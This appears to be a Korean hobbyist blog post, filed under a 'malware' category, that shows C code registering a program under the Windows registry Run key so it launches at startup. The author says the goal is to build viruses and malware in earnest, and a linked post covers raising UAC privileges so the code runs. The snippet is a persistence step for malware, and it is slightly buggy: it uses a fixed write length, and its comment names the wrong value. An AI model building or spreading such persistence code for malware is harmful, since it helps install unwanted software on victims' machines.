본문 바로가기

악성코드

[NOOBHACK] 레지스터 시작 프로그램 등록 C언어

진지하게 바이러스와 악성코드를 만들어 보기 위해 실행 하면 바이러스가 레지스터에 시작 프로그램에 등록 되도록 코드를 짰다

 

HKEY hKey; // 핸들 키

LPCWSTR lpPosition = L"프로그램 파일 경로";
long error; // 에러 확인
error = RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0L, KEY_WRITE, &hKey); // 레지스터에 있는 키 열기

error = RegSetValueEx(hKey, TEXT("app"), 0, REG_SZ, (BYTE*)lpPosition, 1000);
RegCloseKey(hKey); // 리턴받은 핸들키에 Hello라는 레지스트리를 REG_SZ형식으로 만들고 lpPosition 프로그램으로 값을 등록한다.

 

만약에 안된다면 이는 권한 문제이므로 다음 링크를 참고 하자

https://noobhack.tistory.com/33

 

[NOOBHACK] visual studio 권한 설정

파일이나 레지스터를 다루는 코드일 경우 실행이 제대로 안되는 경우가 있다 다음 설정을 참고하자 프로젝트>속성>링커>매니페스트 파일 UAC 실행 수준을 이와 같이 만들어 주면 된다

noobhack.tistory.com

 

'악성코드' 카테고리의 다른 글

[NOOBHACK] 메모장 테러 악성코드  (0) 2022.08.29